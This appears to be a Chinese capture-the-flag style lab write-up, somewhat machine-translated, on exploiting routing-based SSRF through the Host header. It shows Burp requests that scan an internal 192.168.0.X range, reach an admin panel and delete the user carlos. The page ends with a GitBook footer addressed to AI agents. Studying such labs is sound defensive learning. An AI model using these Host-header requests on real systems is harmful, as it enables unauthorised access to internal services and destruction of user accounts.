> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/routing-based-ssrf.md).
# 基于路由的 SSRF
### 基于路由的 SSRF
**实验说明**
这个实验有一个 **基于路由的 SSRF 类型漏洞**，可通过以下方式利用 **Host 头**。/ 应用程序依赖于……的值 `Host` 字段来确定请求的目标，从而允许访问未暴露的内部资源。
目标：
* 访问托管在……IP 地址上的内部管理面板 `192.168.0.0/24` 网络
* 删除用户 **carlos**
**初步观察**
该 `/admin` 访问点无法从外部访问。/ 但是，应用程序会根据……的值转发请求 `Host` 字段，从而允许将请求重定向到内部地址。
**第 1 步 – 内部网络扫描**
以下查询被发送到 **Intruder** 以测试内部 IP 地址：
```http
GET /admin HTTP/2
Host: 192.168.0.X
```
⚠️ 重要：
* 禁用选项 **更新 Host 头** 在 Burp 中，否则攻击会失败。
结果：
* 该 `192.168.0.221` 地址返回响应 **HTTP 200**，表明内部管理面板存在。
**第 2 步 – 访问管理面板**
一旦识别出有效的 IP，你就可以直接定位到管理面板：
```http
GET /admin/delete?username=carlos HTTP/2
Host: 192.168.0.221
```
内部管理界面变得可访问。
**第 3 步 – 删除 carlos 用户**
删除需要一个 **POST** 带有有效 CSRF 令牌的查询：
```http
POST /admin/delete HTTP/2
Host: 192.168.0.221
csrf=iWyb78rJxAsoblmARVtqSef6YOsKG0Ph&username=carlos
```
结果：
* 服务器响应 **302 Found**，确认用户 **carlos** 已被删除。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/host-header/routing-based-ssrf.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.